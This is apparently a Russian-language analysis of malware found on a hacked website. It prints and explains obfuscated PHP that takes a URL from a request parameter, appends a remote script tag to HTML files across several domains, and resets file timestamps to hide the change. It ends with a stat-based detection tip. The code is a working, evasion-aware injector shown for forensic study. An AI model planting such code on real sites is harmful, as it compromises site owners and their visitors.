Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64:
$GLOBALS['_482181972_'] = Array(
base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ),
// file_get_contents
base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos
base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), // filemtime
base64_decode( 'Zm9wZW4=' ), // fopen
base64_decode( 'Z' .'ndyaXRl' ), // fwrite
base64_decode( '' .'ZmN' .'sb3Nl' ), // fclose
base64_decode( 'dG91Y2g=' ) // touch
);
Различие было в том, что в каждой закодированной строке случайным образом было вставлено “’ .’”. Это исключает поиск в файлах по строке – функции, закодированной в base64.
Во втором блоке была функция, которая декодировала и отдавала элемент массива, в котором тоже были строки в base64 кодировке:
function _2060801314( $i ) {
$a = Array(
'c3Jj', // src
'ZG9tYWluMS5jb20=', // domain1.com
'ZG9tYWluMi5jb20=', // domain2.com
'ZG9tYWluMy5jb20=', // domain3.com
...
'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0i',
// <script type="text/javascript" src="
'Ij48L3NjcmlwdD4=', // "></script>
'',
'Lmh0bWw=', // .html
'YQ==' // a
);
return base64_decode( $a[$i] );
}
В одном файле был список доменов, а во втором – список путей к файлам.
Третий блок в файлах отличался массивами и проходом по ним. Код очень похож, поэтому приведу причесанный код из первого файла с комментариями:
<?php
$_0 = $_GET[_2060801314(0)];
// это $_GET['src']
// src передается в запросе к файлу и содержит код для вставки
// https://domain.tld/file.js
if (isset( $_0 )) {
$_1 = array(
_2060801314(1)=> round( 0 + 1.25 + 1.25 + 1.25 + 1.25 ),
_2060801314(2)=> round( 0 + 9 ),
_2060801314(3)=> round( 0 + 3 + 3 + 3 ),
...
_2060801314(12)=> round( 0 + 0.8 + 0.8 + 0.8 + 0.8 + 0.8 )
);
// в массиве ключ - имя домена, значение - к-во итераций. [1]
// для записи кода в пронумерованные файлы
// быстро декодировать массив можно взяв функцию и массив
// и запустить print_r($_1);
$_2 = _2060801314( 13 ) .$_0 ._2060801314( 14 );
// сборка строки для вставки, здесь уже будет строка
// <script type="text/javascript" src="https://domain.tld/file.js"></script>
foreach ($_1 as $_3 => $_4) {
for ($_5 = round(0); $_5++ < $_4;) {
// проход по файлам от 1 до максимального из массива $_1 (см. [1])
if ($_5 == round( 0 + 0.25 + 0.25 + 0.25 + 0.25 )) {
$_6 = _2060801314( 15 );
// $_6 - номер файла
// если $_5 = 1, $_6 - пустая строка,
// т.к. файлы нумеруются с 2, 1-й без номера
} else {
$_6 = $_5;
}
$_7 = "/path/to/{$_3}/scj/top/top" . $_6 . _2060801314( 16 );
// $_3 - имя домена, формируется полный путь к файлу top$_6.html,
$_8 = $GLOBALS['_482181972_'][0]( $_7 );
// file = file_get_contents(filename)
if (!$_8) continue;
$_9 = $GLOBALS['_482181972_'][1]( $_8, $_2 );
// strpos(file, script) - есть ли в файле скрипт
if ($_9 != false) continue;
// скрипт добавляется только если в файле его нет
$_10 = $GLOBALS['_482181972_'][2]( $_7 );
// savedtime = filemtime(filename)
$_11 = $GLOBALS['_482181972_'][3]( $_7, _2060801314( 17 ) );
// fileptr = fopen(filename, 'a')
$GLOBALS['_482181972_'][4]( $_11, $_2 );
// fwrite(fileptr, script)
$GLOBALS['_482181972_'][5]( $_11 );
// fclose(fileptr)
$GLOBALS['_482181972_'][6]( $_7, $_10 );
// touch(filename, savedtime)
}
}
exit;
}
?>
Единственный “недостаток” touch в том, что [на FreeBSD] он не изменяет дату Change, можно посмотреть
stat -x filename
и узнать, когда касались файла. Или посмотреть третью дату в выводе
stat filename